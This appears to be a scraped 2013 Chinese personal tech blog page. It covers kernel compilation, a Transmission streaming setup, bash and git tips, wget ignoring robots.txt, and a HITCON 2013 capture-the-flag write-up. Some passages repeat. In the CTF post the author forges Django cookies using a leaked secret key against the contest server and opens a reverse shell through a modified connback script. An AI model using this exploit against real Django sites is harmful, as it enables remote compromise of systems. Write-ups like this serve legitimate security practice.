# fetch the kernel source code and extract it wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.12.5.tar.xz tar Jxvf linux-3.12.5.tar.xz cd linux-3.12.5/ # prepare for the compilation, this will delete all current configuration and all generated files make mrproper # copy the config from the running system zcat /proc/config > .config # configure your customized kernel make menuconfig # Go to play some games # n for num of your process, e.g. make -j 8 make -j n # install modules under /lib/modules/ sudo make modules_install # prepare the new kernel under /boot/ sudo cp arch/x86_64/boot/bzImage /boot/vmlinuz-KernelName sudo mkinitcpio -k /boot/vmlinuz-KernelName -c /etc/mkinitcpio.conf -g /boot/initramfs-KernelName.img sudo cp System.map /boot/System.map-KernelName # update grub configuration sudo grub-mkconfig -o /boot/grub/grub.cfg
Thursday, December 19, 2013
Build Linux kernel from source
A note for building Linux kernel from source under Archlinux
Wednesday, September 4, 2013
Sunday, July 28, 2013
私人雲端動畫
最近研究了簡單的雲端動畫方案 (家裡網路... Orz)
當看完動畫時記得 sudo rm media 把 link 砍掉XD
transmission-remote + html5 (?)
實驗機器在 Ubuntu server上,有已經架好的 web server (apache)
Archlinux 的話裝這個套件 transmission-cli ,參考 Archwiki (不過東西有點少...)
sudo apt-get install transmission-daemon
sudo vim /etc/transmission-daemon/settings.json
一般來說會動到的參數大概有
# 如果你想把未完成分開的話可以開 true 並設好路徑
"incomplete-dir": "/home/xatier/Downloads",
"incomplete-dir-enabled": false,
"download-dir": "/home/xatier/Downloads",
# 加密一定要開的啦!LPD 是 Local Peer Discovery ,學校宿舍你懂得 (?)
"encryption": 1,
"lpd-enabled": true,
# 最重要的 rpc 設定
"rpc-password": "見底下說明",
"rpc-port": 9091,
"rpc-url": "/tran5mi55ion/",
"rpc-username": "bt",
"rpc-whitelist": "127.0.0.1,140.*.*.*",
"rpc-whitelist-enabled": true,
關於密碼的部份
rpc-password: The ssha1 encrypted password (starts with a '{') needed for remote access. A new password can be entered via command line utilities or directly in plain text and will replaced with the encrypted version when the configuration file is next saved.
白名單用逗號隔開,可用 * 當 wildcard
transmission 有自己的 web-UI ,rpc 白名單設好後直接連你設的 port 就 ok 惹
官網有截圖就不再贅述
另外也可以裝 transmission-remote-gui 可以直接調整更多設定
接著,原本想弄個 web 網站可以選要看的動畫之類的
HTML5 有個 <video> tag 可以直接放,許多瀏覽器有支持
後來覺得只是脫褲子放屁,因為有更簡單的方法XD
# web server 的 root directory
cd /var/www
sudo ln -s /home/xatier/Downloads/ media
http://mydomain.com/media/[KT*P][Shing*ki no Kyojin][15][BIG5][720p][MP4].mp4
就可以看啦XDDD
當看完動畫時記得 sudo rm media 把 link 砍掉XD
這麼簡單的作法可以拿個 raspberry pi 當農場機加上 streaming 源之類的XD
Saturday, July 20, 2013
HIT2013 解題心得
今年因為一些緣故,所以無法到會場參加每年安全最大的盛會 hitcon
雖然一開始搶票的時候沒弄到,連幹了活X通幾聲
然而,幸運的在今年 PyCON 2013 中午看到 @crboy 小畢發噗,說也來寫個哀怨的對聯好了XDD
創意對聯
Cyberwar: in hack, we trust
Ticketwar: at midnight, the site crashed
橫批:Distributed Denial of Service
沒想到... 就拿到票惹XD
Anyway, 來寫心得文吧!XD
今年題目設計和以往又有些不同,多了很多 AppleScript/Obj-C 的 hacking, PE / .NET 逆向題目也不錯,.apk 也許也該來碰了...XD
各題首次破台者
媽我在這~~~._./
最終盤面
稍作整理然後轉成 binary
echo -n -e $(tr -d '[:space:]' | sed 's/../\\x&/g')
$ file new.bin
new.bin: PE32 executable for MS Windows (console) Intel 80386 32-bit

這個東西拿到 VM 底下就一隻該死的南瓜... Orz (而且還會唱歌www)
而且還需要用 upx 去個殼...
strings 結果:
字串都不是 key
IDA 看了很久也沒有想法,丟給隊友作,後來據說是解神奇的數學 (?
這題乍看之下要分析 JavaScript (小弟苦手...
而且還是 aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻
不過... 其實秘訣就... 讓那段 code 動起來XDD
strings 結果:
字串都不是 key
IDA 看了很久也沒有想法,丟給隊友作,後來據說是解神奇的數學 (?
解!
這題乍看之下要分析 JavaScript (小弟苦手...
而且還是 aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻
不過... 其實秘訣就... 讓那段 code 動起來XDD
chrome console 下,var foo = function {......}
foo();
就拿到 key 啦!還會有動畫XDDDD
Web 苦手,pass 給隊友 Orz
社交工程 pf ㄉㄉ也可以拿到 key
foo();
就拿到 key 啦!還會有動畫XDDDD
解!
Web 苦手,pass 給隊友 Orz
這題其實www
乍看之下 py2exe 要反解... 不過就...
unzip + vim 搞定XD
strings 出來的解和這邊一樣...
http://stuff.mit.edu/afs/sipb/project/hurddev/tb/libc/locale/C-identification.c
http://svn.haiku-os.org/oldhaiku/haiku/branches/old/wcsmbs/current/src/kernel/libroot/posix/glibc/wcsmbs/wcsmbsload.c
這個也殘念,exploit pdf 先丟反解把 pdf decode 成明碼
用和這邊 類似的作法,可是沒找到可疑的 JavaScript ...
Pass
隊友 TW1943 完成
rar fixnul.Ly
crack md5
Philippines
得意解!!!!!
PyCON.tw 2013 時,Orange 在 "駭客看 Django" 的議程上特別說過,Secret key 很重要,可以用來偽造 Cookie 達成許多不可思議的事情
Google 找攻略,這邊有詳細介紹這類的攻擊方式
首先 clone 這個 repo 下來
connback.py 改成自己的機器,做反彈 shell
然後
./exploit.py "1%idg#a2%byqh@l1wcv^3kc=e*($0v44(u-c^@bf_lz-@#essk" http://vuln-django.orange.tw
到處看看
./exploit.py "1%idg#a2%byqh@l1wcv^3kc=e*($0v44(u-c^@bf_lz-@#essk" http://vuln-django.orange.tw
到處看看
# cat ./app/key.txt
看到後底下回個 QQ ...
沒想到 12 分鐘後就 done 了XDDDD
解完這題很開心,一度名次還沒前面的說QQ
我解完 PWN500 後自己測試帳號是第四名XDD
Tuesday, July 16, 2013
touch? no! just use the redirection!
大家都知道,要創建一個新檔案就是讓哥哥摸一下
$ touch foo
不過其實有更快的方法
$ > foo
$ :> foo # happy face!
> 是大家都知道的 redirection,把空 redirect 到(不存在的)文件也就是創造新檔案
: 是 bash 裡面的空函數(?)
$ man bash
: [arguments]
No effect; the command does nothing beyond expanding arguments and performing any specified redirections. A zero exit code is returned.
$ touch foo
不過其實有更快的方法
$ > foo
$ :> foo # happy face!
> 是大家都知道的 redirection,把空 redirect 到(不存在的)文件也就是創造新檔案
: 是 bash 裡面的空函數(?)
$ man bash
: [arguments]
No effect; the command does nothing beyond expanding arguments and performing any specified redirections. A zero exit code is returned.
Monday, July 15, 2013
bash: tab-completion case insensitive
習慣一直戳 [Tab] 是大家的好習慣 (?)
但是要按 shift 實在是很麻煩,於是乎
$ sudo vim /etc/inputrc
set completion-ignore-case on
$ man bash
completion-ignore-case (off)
If set to On, readline performs filename matching and completion in a case-insensitive fashion.
但是要按 shift 實在是很麻煩,於是乎
$ sudo vim /etc/inputrc
set completion-ignore-case on
$ man bash
completion-ignore-case (off)
If set to On, readline performs filename matching and completion in a case-insensitive fashion.
Wednesday, July 3, 2013
Archlinux Android USB Tethering
USB Tethering: 透過 USB 把網路從 Android 設備弄到 Linux 上
Ref: https://wiki.archlinux.org/index.php/Android_Tethering
Steps:
1. load the usbnet kernel module
2. set up the interface
3. run dhcpcd
sudo modprobe usbnet
ifconfig -a # find something like usb0
sudo ip link set usb0 up
sudo dhcpcd usb0
Ref: https://wiki.archlinux.org/index.php/Android_Tethering
Steps:
1. load the usbnet kernel module
2. set up the interface
3. run dhcpcd
sudo modprobe usbnet
ifconfig -a # find something like usb0
sudo ip link set usb0 up
sudo dhcpcd usb0
Monday, July 1, 2013
keyboard setting om OS X
我有個 filco 青軸,接在 Air 上面需要作一些 keyboard layout 的調整
我的 control 和 capslock 是交換的,並且 Alt/Command 在 Mac 鍵盤上是和一般鍵盤的順序是相反的。
如以下方式調整
我的 control 和 capslock 是交換的,並且 Alt/Command 在 Mac 鍵盤上是和一般鍵盤的順序是相反的。
如以下方式調整
Thursday, June 27, 2013
git archive to tarballs
今天看到的小工具,git 可以直接把整個 repo 打包帶走
git archive --format=tar --prefix=proj-1.2.3/ HEAD > proj-1.2.3.tar
Ref/
https://www.kernel.org/pub/software/scm/git/docs/git-archive.html
Wednesday, June 26, 2013
let wget ignore robots.txt
我們可以寫 robots.txt 來防止機器人或是 crawler 亂爬我們的網站
wget 是很遵守 robots.txt 的,不過還是有方法可以偽裝我們不是機器人
wget -e robots=off [url]
-e 是可以附加在 wgetrc 中沒寫的功能
--execute command
Execute command as if it were a part of .wgetrc. A command thus invoked will be executed after the commands in .wgetrc, thus taking precedence over them. If you need to specify more than one wgetrc command, use multiple instances of -e.
Reference
http://www.gnu.org/software/wget/manual/html_node/Robot-Exclusion.html
wget 是很遵守 robots.txt 的,不過還是有方法可以偽裝我們不是機器人
wget -e robots=off [url]
-e 是可以附加在 wgetrc 中沒寫的功能
--execute command
Execute command as if it were a part of .wgetrc. A command thus invoked will be executed after the commands in .wgetrc, thus taking precedence over them. If you need to specify more than one wgetrc command, use multiple instances of -e.
Reference
http://www.gnu.org/software/wget/manual/html_node/Robot-Exclusion.html
Subscribe to:
Posts (Atom)